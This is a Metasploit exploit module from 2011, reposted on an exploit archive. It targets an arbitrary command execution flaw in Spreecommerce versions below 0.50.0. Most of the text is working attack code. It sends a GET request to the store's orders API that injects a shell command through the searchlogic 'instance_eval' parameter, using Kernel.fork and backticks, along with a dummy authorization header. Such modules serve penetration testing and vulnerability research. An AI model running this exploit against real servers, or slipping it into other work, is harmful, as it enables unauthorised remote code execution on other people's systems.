ExploitFixes
Spreecommerce < 0.50.0 Arbitrary Command Execution 2011-04-22 11:15:03

##
# $Id: spree_searchlogic_exec.rb 12397 2011-04-21 19:38:42Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Spreecommerce < 0.50.0 Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
Spreecommerce API searchlogic. Unvalidated input is called via the
Ruby send method allowing command execution.
},
'Author' => [ 'joernchen <[email protected]> (Phenoelit)' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12397 $',
'References' =>
[
[ 'OSVDB', '71900'],
[ 'URL', 'http://www.spreecommerce.com/blog/2011/04/19/security-fixes/' ],

],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 31337,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Apr 19 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]),
], self.class)
end

def exploit
command = Rex::Text.uri_encode(payload.encoded)
urlconfigdir = datastore['URI'] + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end"
res = send_request_raw({
'uri' => urlconfigdir,
'method' => 'GET',
'headers' =>
{
'HTTP_AUTHORIZATION' => 'ABCD', #needs to be present
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 0.4 ) #short timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
handler
end

end